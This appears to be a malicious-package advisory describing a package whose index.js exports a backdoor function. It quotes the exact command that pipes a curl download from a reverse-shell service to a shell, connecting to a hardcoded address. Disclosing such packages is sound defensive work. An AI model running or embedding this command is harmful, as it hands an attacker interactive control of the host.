GCVE-110-OSM-2026-13261

index.js line 5 exports a function that invokes /bin/bash to curl https://reverse-shell.sh/10.0.19.80:4443 and pipe the response to a shell, delivering an interactive reverse shell to the hardcoded endpoint 10.0.19.80:4443 on the host where the exported function is called. The destination is a hardcoded private-range IP, there is no authentication, no documentation of the behavior, and the fetched content is executed directly. The package's only exported functionality is this backdoor dropper. ENTRY index.js (main: index.js) EXFIL - Curl/Wget Pipe to Shell in index.js: "curl https://reverse-shell.sh/10.0.19.80:4443|sh" ADDITIONAL FINDINGS - Shell Command Execution in index.js: "require('child_process')" PAYLOAD FILES index.js